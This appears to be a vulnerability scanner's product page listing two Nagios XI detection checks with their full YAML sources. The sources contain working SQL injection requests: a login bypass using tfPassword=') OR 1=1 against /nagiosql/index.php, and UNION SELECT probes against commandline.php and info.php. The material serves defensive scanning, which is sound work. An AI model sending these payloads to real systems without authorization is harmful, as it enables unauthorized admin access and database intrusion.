Nagios XI — 2 vulnerability checks

noctis ships 2 vulnerability checks for Nagios XI, covering 11 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Nagios XI < 2012R2.4 NagiosQL login SQL injection authentication bypass

CVECVE-2013-6875
Severityhigh · CVSS 7.5
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectionscript, set_var, tcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/nagios-xi/CVE-2013-6875.yaml

Nagios XI before 2012R2.4 exposes the NagiosQL Core Config Manager at /nagiosql/, whose login form concatenates the tfPassword field into an SQL query. The feed opens a session, posts a login whose password is an always-true SQL condition and checks that the Core Config Manager admin page then answers as logged in (Logout link, nagiosadmin). The same sequence with an always-false condition on a second session must stay on the login page, which rules out a server that serves the admin page without authentication.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET /nagiosql/index.php HTTP/1.0
  4. Parses / computes the next value with a Rhai script
  5. Raw TCP (TLS on HTTPS), sent verbatim: POST /nagiosql/index.php HTTP/1.0
  6. Raw TCP (TLS on HTTPS), sent verbatim: GET /nagiosql/admin.php HTTP/1.0
  7. Parses / computes the next value with a Rhai script
  8. Raw TCP (TLS on HTTPS), sent verbatim: GET /nagiosql/index.php HTTP/1.0
  9. Parses / computes the next value with a Rhai script
  10. Raw TCP (TLS on HTTPS), sent verbatim: POST /nagiosql/index.php HTTP/1.0
  11. Raw TCP (TLS on HTTPS), sent verbatim: GET /nagiosql/admin.php HTTP/1.0
  12. Parses / computes the next value with a Rhai script
  13. Checks verdict_v for NOCTIS_NAGIOSQL_LOGIN_BYPASS → finding QoD 75: NagiosQL login SQLi (CVE-2013-6875): POST /nagiosql/index.php with tfPassword=') OR 1=1 limit 1;-- led to an authenticated Core Config Mana…

References:

Feed source — tests/vulnerabilities/nagios-xi/CVE-2013-6875.yaml
# Nagios XI < 2012R2.4 — NagiosQL (Core Config Manager) login SQL injection auth bypass (CVE-2013-6875)
#
# Nagios XI before 2012R2.4 ships the NagiosQL Core Config Manager under /nagiosql/.
# functions/prepend_adm.php builds the login query with the tfPassword form field
# unescaped, so `') OR 1=1 limit 1;-- ` makes it return the first admin account and
# logs the visitor in (the HTTP reply is a 302 to the admin area).
#
# Ported from OpenVAS/Greenbone NVT 2013/gb_nagios_xi_63754.nasl (GPL-2.0-only).
# Improvements over the NASL: a differential control. The NASL concludes from a single
# authenticated-looking admin.php, so a server that serves admin.php without any login
# would be flagged. This feed repeats the whole sequence with an always-false condition
# (`OR 1=2`) on a fresh session and requires that one to stay logged out. The NASL's
# fixed username is replaced by a per-run random one. Nothing is written: the only
# side effect is the (throw-away) session the successful login creates.
#
# Raw HTTP/1.0 over tcp_connect: the Set-Cookie headers and the 302 are read verbatim,
# and the %xx payload is sent untouched.
uid: 5b1c6f0e-8d3a-4c6e-9b57-2f0a7c3d94e1
name: "Nagios XI < 2012R2.4 NagiosQL login SQL injection authentication bypass"
description: |
  Nagios XI before 2012R2.4 exposes the NagiosQL Core Config Manager at /nagiosql/, whose
  login form concatenates the tfPassword field into an SQL query. The feed opens a session,
  posts a login whose password is an always-true SQL condition and checks that the Core
  Config Manager admin page then answers as logged in (Logout link, nagiosadmin). The same
  sequence with an always-false condition on a second session must stay on the login page,
  which rules out a server that serves the admin page without authentication.
cves: [CVE-2013-6875]
cvss: 7.5
severity: high
category: auth-bypass
confidence_base: 0.30
tags: [nagios, nagios-xi, nagiosql, sqli, auth-bypass, unauthenticated, openvas, web-application-abuses]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-6875"
  - "https://www.exploit-db.com/exploits/29684"
  - "OpenVAS/Greenbone NASL 2013/gb_nagios_xi_63754.nasl (GPL-2.0-only)"

steps:
  - id: mint-nonce
    action: script
    store_as: nonce
    code: |
      rand_int(100000, 999999).to_string()

  # Bodies are computed here so Content-Length is exact.
  - id: build-bodies
    action: script
    store_as: bodies
    code: |
      let t = "tfUsername=noctis" + nonce + "&tfPassword=%27)%20OR%201%3D1%20limit%201%3B--%20&Submit=Login";
      let f = "tfUsername=noctis" + nonce + "&tfPassword=%27)%20OR%201%3D2%20limit%201%3B--%20&Submit=Login";
      #{ t: t, tlen: strlen(t).to_string(), f: f, flen: strlen(f).to_string() }

  # Pre-init stored results: a failed connect leaves store_as unset.
  - id: init-g1
    action: set_var
    var_name: g1
    var_value: ""
  - id: init-p1
    action: set_var
    var_name: p1
    var_value: ""
  - id: init-a1
    action: set_var
    var_name: a1
    var_value: ""
  - id: init-g2
    action: set_var
    var_name: g2
    var_value: ""
  - id: init-p2
    action: set_var
    var_name: p2
    var_value: ""
  - id: init-a2
    action: set_var
    var_name: a2
    var_value: ""

  # ── Attempt 1: always-true condition ─────────────────────────────────────────
  - id: login-page-1
    action: tcp_connect
    port: "{{port}}"
    send: "GET /nagiosql/index.php HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\n\r\n"
    timeout_secs: 10
    store_as: g1

  - id: cookie-1
    action: script
    store_as: c1
    code: |
      let out = "";
      if type_of(g1) == "map" && type_of(g1.banner) == "string" && stridx(g1.banner, "tfPassword") >= 0 {
        for raw in split(g1.banner, "\n") {
          let m = eregmatch("^set-cookie:[ \\t]*([A-Za-z0-9_.-]+=[^;\\r]*)", raw, true);
          if m.len() >= 2 {
            if out != "" { out += "; "; }
            out += m[1];
          }
        }
      }
      out

  - id: post-true
    action: tcp_connect
    port: "{{port}}"
    condition: 'c1 != ""'
    send: "POST /nagiosql/index.php HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {{bodies.tlen}}\r\nCookie: {{c1}}\r\n\r\n{{bodies.t}}"
    timeout_secs: 10
    store_as: p1

  - id: admin-true
    action: tcp_connect
    port: "{{port}}"
    condition: 'c1 != "" && type_of(p1) == "map" && type_of(p1.banner) == "string" && ereg("^HTTP/1\\.[01] 302", p1.banner)'
    send: "GET /nagiosql/admin.php HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\nCookie: {{c1}}\r\n\r\n"
    timeout_secs: 10
    store_as: a1

  - id: verdict-true
    action: script
    store_as: logged_true
    code: |
      type_of(a1) == "map" && type_of(a1.banner) == "string"
        && ereg("^HTTP/1\\.[01] 200", a1.banner)
        && stridx(a1.banner, "Core Config Manager") >= 0
        && stridx(a1.banner, "nagiosadmin") >= 0
        && stridx(a1.banner, ">Logout<") >= 0

  # ── Attempt 2: always-false control on a fresh session ───────────────────────
  - id: login-page-2
    action: tcp_connect
    port: "{{port}}"
    condition: "logged_true"
    send: "GET /nagiosql/index.php HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\n\r\n"
    timeout_secs: 10
    store_as: g2

  - id: cookie-2
    action: script
    store_as: c2
    code: |
      let out = "";
      if type_of(g2) == "map" && type_of(g2.banner) == "string" && stridx(g2.banner, "tfPassword") >= 0 {
        for raw in split(g2.banner, "\n") {
          let m = eregmatch("^set-cookie:[ \\t]*([A-Za-z0-9_.-]+=[^;\\r]*)", raw, true);
          if m.len() >= 2 {
            if out != "" { out += "; "; }
            out += m[1];
          }
        }
      }
      out

  - id: post-false
    action: tcp_connect
    port: "{{port}}"
    condition: 'c2 != ""'
    send: "POST /nagiosql/index.php HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {{bodies.flen}}\r\nCookie: {{c2}}\r\n\r\n{{bodies.f}}"
    timeout_secs: 10
    store_as: p2

  - id: admin-false
    action: tcp_connect
    port: "{{port}}"
    condition: 'c2 != ""'
    send: "GET /nagiosql/admin.php HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\nCookie: {{c2}}\r\n\r\n"
    timeout_secs: 10
    store_as: a2

  # Control passes only when the false-condition session is demonstrably logged out:
  # the admin page was fetched and carries no Logout link / admin markers.
  - id: verdict
    action: script
    store_as: verdict_v
    code: |
      let control_ok = c2 != "" && type_of(a2) == "map" && type_of(a2.banner) == "string"
        && stridx(a2.banner, ">Logout<") < 0
        && stridx(a2.banner, "Core Config Manager") < 0;
      if logged_true && control_ok { "NOCTIS_NAGIOSQL_LOGIN_BYPASS" } else { "none" }

  - id: confirm
    action: match
    source: verdict_v
    pattern: "NOCTIS_NAGIOSQL_LOGIN_BYPASS"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 75
        evidence: "NagiosQL login SQLi (CVE-2013-6875): POST /nagiosql/index.php with tfPassword=') OR 1=1 limit 1;-- led to an authenticated Core Config Manager admin.php; the same request with OR 1=2 on a fresh session stayed logged out"
      stop: true

Nagios XI < 5.4.13 NagiosQL unauthenticated SQL injection (commandline.php / info.php)

CVECVE-2018-10735, CVE-2018-10736, CVE-2018-10737, CVE-2018-10738, CVE-2018-25121, CVE-2018-25122, CVE-2018-8733, CVE-2018-8734, CVE-2018-8735, CVE-2018-8736
Severityhigh · CVSS 7.2
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, tcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/nagios-xi/CVE-2018-10735.yaml

Nagios XI before 5.4.13 lets an unauthenticated attacker reach the NagiosQL admin pages (auth redirect without exit, CVE-2018-8733) and inject SQL through the commandline.php `cname` (CVE-2018-10735) and info.php `key1` (CVE-2018-10736) parameters. Detection sends a read-only UNION SELECT md5(<per-run random>) and confirms the database-computed digest in the response, without rewriting any configuration.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET /nagiosql/admin/commandline.php?cname=%27%20union%20select%20concat(md5({{nonce}}))%2…
  4. Parses / computes the next value with a Rhai script
  5. Checks verdict_cmd for NOCTIS_NAGIOSQL_SQLI_CONFIRMED → finding QoD 75: Nagios XI NagiosQL unauthenticated SQLi (CVE-2018-10735): GET /nagiosql/admin/commandline.php?cname=' union select concat(md5(…))# returned…
  6. Raw TCP (TLS on HTTPS), sent verbatim: GET /nagiosql/admin/info.php?key1=%27%20union%20select%20concat(md5({{nonce}}))%23 HTTP/1…
  7. Parses / computes the next value with a Rhai script
  8. Checks verdict_info for NOCTIS_NAGIOSQL_SQLI_CONFIRMED → finding QoD 75: Nagios XI NagiosQL unauthenticated SQLi (CVE-2018-10736): GET /nagiosql/admin/info.php?key1=' union select concat(md5(…))# returned the dat…

References:

Feed source — tests/vulnerabilities/nagios-xi/CVE-2018-10735.yaml
# Nagios XI < 5.4.13 — NagiosQL unauthenticated SQL injection (CVE-2018-10735 et al.)
#
# Nagios XI 5.2.x–5.4.12 ships the NagiosQL core config manager under /nagiosql/.
# Its admin pages redirect an unauthenticated visitor to the login page but do not
# stop executing (CVE-2018-8733): the 302 response still carries the full page
# output. admin/commandline.php feeds the `cname` parameter (CVE-2018-10735) and
# admin/info.php the `key1` parameter (CVE-2018-10736) unescaped into a SELECT
# whose single column is echoed back. These are the first links of the public
# chained RCE (Metasploit nagios_xi_chained_rce_2_electric_boogaloo).
#
# Ported from OpenVAS/Greenbone NVT 2018/nagios/gb_nagios_xi_mult_vuln_mar18_active.nasl
# (GPL-2.0-only), with one deliberate deviation. The NASL POSTs a full NagiosQL
# settings form to helpedit.php / settings.php — i.e. it REWRITES the target's
# NagiosQL configuration (DB credentials, paths, language) to stock defaults and
# then matches page markers. This feed never writes anything: it proves the bug
# with a read-only UNION SELECT instead.
#
# Detection (confirmed SQL execution) — read-only, no stored state changed:
#   * mint a per-run random integer N and compute md5(N) locally;
#   * GET commandline.php?cname=' union select concat(md5(N))#   (CVE-2018-10735)
#   * if not confirmed, GET info.php?key1=' union select concat(md5(N))#  (CVE-2018-10736)
#   The request only carries the expression md5(N), never the digest, so a page
#   that merely reflects the parameter cannot produce the match: only a database
#   that executed the injected SELECT returns this run's md5(N). Fixed 5.4.13
#   answers 403 / escapes the parameter → no digest → no finding.
#
# The query string carries %27/%20/%23 encodings; it is sent verbatim over
# tcp_connect (HTTP/1.0) so nothing is normalised and the 302 body is read as-is
# (no redirect following). Matched on resp.banner.
uid: a2690654-4f9d-4ed4-b920-8281a7f0193b
name: "Nagios XI < 5.4.13 NagiosQL unauthenticated SQL injection (commandline.php / info.php)"
description: |
  Nagios XI before 5.4.13 lets an unauthenticated attacker reach the NagiosQL admin
  pages (auth redirect without exit, CVE-2018-8733) and inject SQL through the
  commandline.php `cname` (CVE-2018-10735) and info.php `key1` (CVE-2018-10736)
  parameters. Detection sends a read-only UNION SELECT md5(<per-run random>) and
  confirms the database-computed digest in the response, without rewriting any
  configuration.
cves: [CVE-2018-10735, CVE-2018-10736, CVE-2018-10737, CVE-2018-10738, CVE-2018-25121, CVE-2018-25122, CVE-2018-8733, CVE-2018-8734, CVE-2018-8735, CVE-2018-8736]
cvss: 7.2
severity: high
category: sqli
confidence_base: 0.30
tags: [nagios, nagios-xi, nagiosql, sqli, auth-bypass, unauthenticated, openvas, web-application-abuses]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2018-10735"
  - "https://nvd.nist.gov/vuln/detail/CVE-2018-10736"
  - "https://nvd.nist.gov/vuln/detail/CVE-2018-8733"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-10735.yaml"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/nagios_xi_chained_rce_2_electric_boogaloo.rb"
  - "OpenVAS/Greenbone NASL 2018/nagios/gb_nagios_xi_mult_vuln_mar18_active.nasl (GPL-2.0-only)"

steps:
  # 1 — per-run random operand; the digest is computed locally, never sent.
  - id: mint-nonce
    action: script
    store_as: nonce
    code: |
      rand_int(1000000000, 2000000000).to_string()

  - id: compute-expected
    action: script
    store_as: expected
    code: |
      md5(nonce)

  # Pre-init the stored results: a refused/failed connect leaves store_as unset,
  # and an undefined variable would abort the verdict scripts.
  - id: init-resp-cmd
    action: set_var
    var_name: resp_cmd
    var_value: ""

  - id: init-resp-info
    action: set_var
    var_name: resp_info
    var_value: ""

  # 2 — CVE-2018-10735: commandline.php `cname`.
  - id: probe-commandline
    action: tcp_connect
    port: "{{port}}"
    send: "GET /nagiosql/admin/commandline.php?cname=%27%20union%20select%20concat(md5({{nonce}}))%23 HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: noctis\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: resp_cmd

  - id: verdict-commandline
    action: script
    store_as: verdict_cmd
    code: |
      if type_of(resp_cmd) == "map" && type_of(resp_cmd.banner) == "string" && stridx(resp_cmd.banner, expected) >= 0 {
        "NOCTIS_NAGIOSQL_SQLI_CONFIRMED"
      } else {
        "none"
      }

  - id: confirm-commandline
    action: match
    source: verdict_cmd
    pattern: "NOCTIS_NAGIOSQL_SQLI_CONFIRMED"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "Nagios XI NagiosQL unauthenticated SQLi (CVE-2018-10735): GET /nagiosql/admin/commandline.php?cname=' union select concat(md5({{nonce}}))# returned the database-computed digest {{expected}}"
      stop: true

  # 3 — CVE-2018-10736: info.php `key1` (only reached when commandline.php did not confirm).
  - id: probe-info
    action: tcp_connect
    port: "{{port}}"
    send: "GET /nagiosql/admin/info.php?key1=%27%20union%20select%20concat(md5({{nonce}}))%23 HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: noctis\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: resp_info

  - id: verdict-info
    action: script
    store_as: verdict_info
    code: |
      if type_of(resp_info) == "map" && type_of(resp_info.banner) == "string" && stridx(resp_info.banner, expected) >= 0 {
        "NOCTIS_NAGIOSQL_SQLI_CONFIRMED"
      } else {
        "none"
      }

  - id: confirm-info
    action: match
    source: verdict_info
    pattern: "NOCTIS_NAGIOSQL_SQLI_CONFIRMED"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "Nagios XI NagiosQL unauthenticated SQLi (CVE-2018-10736): GET /nagiosql/admin/info.php?key1=' union select concat(md5({{nonce}}))# returned the database-computed digest {{expected}}"
      stop: true

View these feeds on GitHub